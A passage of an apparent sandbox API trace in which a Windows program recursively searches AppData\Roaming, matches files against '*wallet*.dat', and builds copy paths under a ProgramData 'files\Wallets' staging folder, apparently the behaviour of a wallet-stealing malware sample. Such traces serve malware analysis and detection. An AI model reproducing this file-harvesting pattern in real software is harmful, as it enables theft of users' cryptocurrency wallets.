(lpString1="{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}", lpString2=".") returned 1 [0052.094] lstrcmpW (lpString1="{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}", lpString2="..") returned 1 [0052.094] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}" [0052.094] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\*.*" [0052.095] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x58a200 [0052.095] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}" [0052.095] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\" [0052.095] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\." [0052.095] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}" [0052.095] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\" [0052.095] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\." [0052.095] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.095] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.095] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}" [0052.095] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\" [0052.095] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\.." [0052.095] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}" [0052.095] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\" [0052.095] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\.." [0052.095] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.095] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.095] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.095] FindClose (in: hFindFile=0x58a200 | out: hFindFile=0x58a200) returned 1 [0052.095] PathMatchSpecW (pszFile="{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}", pszSpec="*wallet*.dat") returned 0 [0052.095] FindNextFileW (in: hFindFile=0x58a540, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 0 [0052.095] FindClose (in: hFindFile=0x58a540 | out: hFindFile=0x58a540) returned 1 [0052.095] PathMatchSpecW (pszFile="Identities", pszSpec="*wallet*.dat") returned 0 [0052.095] FindNextFileW (in: hFindFile=0x58a280, lpFindFileData=0x19f0b8 | out: lpFindFileData=0x19f0b8) returned 1 [0052.096] lstrcpyW (in: lpString1=0x19f790, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" [0052.096] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\" [0052.096] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="jn35ZY_4QwB.mkv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jn35ZY_4QwB.mkv") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jn35ZY_4QwB.mkv" [0052.096] lstrcpyW (in: lpString1=0x19f584, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0052.096] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\" [0052.096] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\", lpString2="jn35ZY_4QwB.mkv" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\jn35ZY_4QwB.mkv") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\jn35ZY_4QwB.mkv" [0052.096] PathMatchSpecW (pszFile="jn35ZY_4QwB.mkv", pszSpec="*wallet*.dat") returned 0 [0052.096] FindNextFileW (in: hFindFile=0x58a280, lpFindFileData=0x19f0b8 | out: lpFindFileData=0x19f0b8) returned 1 [0052.096] lstrcpyW (in: lpString1=0x19f790, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" [0052.096] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\" [0052.096] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="KA5Ek4inwvTLMUVf.ppt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\KA5Ek4inwvTLMUVf.ppt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\KA5Ek4inwvTLMUVf.ppt" [0052.096] lstrcpyW (in: lpString1=0x19f584, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0052.096] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\" [0052.096] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\", lpString2="KA5Ek4inwvTLMUVf.ppt" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\KA5Ek4inwvTLMUVf.ppt") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\KA5Ek4inwvTLMUVf.ppt" [0052.096] PathMatchSpecW (pszFile="KA5Ek4inwvTLMUVf.ppt", pszSpec="*wallet*.dat") returned 0 [0052.096] FindNextFileW (in: hFindFile=0x58a280, lpFindFileData=0x19f0b8 | out: lpFindFileData=0x19f0b8) returned 1 [0052.096] lstrcpyW (in: lpString1=0x19f790, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" [0052.096] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\" [0052.096] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="L tI2E1JBSi.mp4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\L tI2E1JBSi.mp4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\L tI2E1JBSi.mp4" [0052.096] lstrcpyW (in: lpString1=0x19f584, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0052.096] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\" [0052.096] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\", lpString2="L tI2E1JBSi.mp4" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\L tI2E1JBSi.mp4") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\L tI2E1JBSi.mp4" [0052.096] PathMatchSpecW (pszFile="L tI2E1JBSi.mp4", pszSpec="*wallet*.dat") returned 0 [0052.096] FindNextFileW (in: hFindFile=0x58a280, lpFindFileData=0x19f0b8 | out: lpFindFileData=0x19f0b8) returned 1 [0052.096] lstrcpyW (in: lpString1=0x19f790, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming" [0052.096] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\" [0052.096] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Macromedia" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia" [0052.096] lstrcpyW (in: lpString1=0x19f584, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets" [0052.096] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\" [0052.097] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\", lpString2="Macromedia" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia" [0052.097] lstrcmpW (lpString1="Macromedia", lpString2=".") returned 1 [0052.097] lstrcmpW (lpString1="Macromedia", lpString2="..") returned 1 [0052.097] lstrcpyW (in: lpString1=0x19ea34, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia" [0052.097] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\*.*" [0052.097] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\*.*", lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 0x589fc0 [0052.097] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia" [0052.097] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\" [0052.097] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\." [0052.097] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia" [0052.097] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\" [0052.097] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\." [0052.097] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.097] FindNextFileW (in: hFindFile=0x589fc0, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.097] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia" [0052.097] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\" [0052.097] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\.." [0052.097] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia" [0052.097] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\" [0052.097] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\.." [0052.097] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.097] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.097] FindNextFileW (in: hFindFile=0x589fc0, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.097] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia" [0052.097] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\" [0052.097] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\", lpString2="Flash Player" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player" [0052.097] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia" [0052.097] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\" [0052.098] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\", lpString2="Flash Player" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player" [0052.098] lstrcmpW (lpString1="Flash Player", lpString2=".") returned 1 [0052.098] lstrcmpW (lpString1="Flash Player", lpString2="..") returned 1 [0052.098] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player" [0052.098] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\*.*" [0052.098] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x58a180 [0052.098] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player" [0052.098] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\" [0052.098] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\." [0052.098] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player" [0052.098] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\" [0052.098] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\." [0052.098] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.098] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.098] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player") 